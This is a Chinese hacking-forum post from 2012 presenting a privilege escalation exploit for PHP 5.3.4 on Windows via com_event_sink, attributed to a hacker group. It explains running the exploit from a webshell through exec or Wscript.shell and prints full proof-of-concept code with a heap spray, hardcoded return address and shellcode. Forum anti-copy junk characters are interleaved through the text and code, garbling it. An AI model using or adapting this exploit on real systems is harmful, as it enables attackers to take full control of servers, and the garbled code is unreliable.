找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2153|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中( P; u/ U5 [: }/ y" w8 S2 H
5 `; o" {( S$ E1 ]
测试方法如下:cmd /c x:\php\php.exe x:\test.php; u: F' V3 T, c5 h

! t' c+ @! E: }% [7 C! D下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
5 l; e9 ^1 |( u) R  d这里是两个测试的截图:
4 {# @' d3 c8 t) \8 N. f
5 d) |* C* v4 M; w# p3 l3 d+ ]( S
- [  p& ]; e$ w# ~- B. F6 [; C, R3 L. U; H8 X) b( n) V9 L

" {( c2 E" f* L# c4 N/ [3 A
0 q; S& o1 y: B! s7 I6 _0 Z! R) |成功利用此漏洞的攻击者将获得系统的最高权限2 M. f8 N5 |$ q; C

1 I9 M) N! u7 t3 R& [
, m. ~7 o, w9 u  y0 u; E
2 n/ a- |) x3 J8 h
: Z" i. K$ \( k
* P. p3 M" C. z1 a0 f; ^4 y关于漏洞分析稍后附上。一下是PoC代码:& m- C  h$ P  S; B

4 X3 S0 q* E2 b7 i& y/ e<?php
, Y( g/ }; J2 I/ I$ `//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
: U5 O# ^7 Q& V: T9 [: G//$eip ="\x44\x43\x42\x41";. u* n1 \2 s4 z! m/ R! h; C1 ^+ r" H2 {
$eip= "\x4b\xe8\x57\x78";
$ a6 w+ M# _6 M- y' z# Z$eax ="\x80\x01\x8d\x04";6 V  p. T) `! C8 }# ]+ U: E  E; T6 ^
$deodrant="";
" |- S2 C/ M+ L$ q$axespray = str_repeat($eip.$eax,0x80);9 ~/ N* U, V) M
//048d0190
- V  B0 E. a  i# l6 s9 Secho strlen($axespray);' H, ^9 @0 v" }
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";. s$ G6 B9 ]6 O3 k$ O
echo "Silic Group Hacker Army - BlackBap.Org";; a6 z+ g3 F: X, K
//19200 ==4B32 4b006 _# `$ n0 {1 C- p
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
% b: K1 I9 {$ \# j! ~7 q/ w/ f$terminate = "T";
& y0 J3 F) J! _" x: g: y0 g$u[] =$deodrant;
! l% |9 ^3 Z5 u# Y9 u6 B$r[] =$deodrant.$terminate;
+ x; r% Y* P6 R/ Z0 C$ n! Z8 [- i$a[] =$deodrant.$terminate;4 s5 n5 X8 D$ E; i
$s[] =$deodrant.$terminate;) P* [4 u3 D( J0 s) v
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
2 \8 z  \& e( j) l; ~$vVar = new VARIANT(0x048d0000+180);. k' X( h3 J  a! K" F9 i  @. u
//弹窗代码(Shellcode)( ?& r9 @5 Z1 a: q3 F! E
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
  q' `6 Q; c& e* X- t3 B$var2 = new VARIANT(0x41414242);+ s) }* b1 s" ]! ~. f/ e* l1 q- m
com_event_sink($vVar,$var2,$buffer);
* J) G, [$ ~! E8 f/ O?># M- z0 k, C. ^" `

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表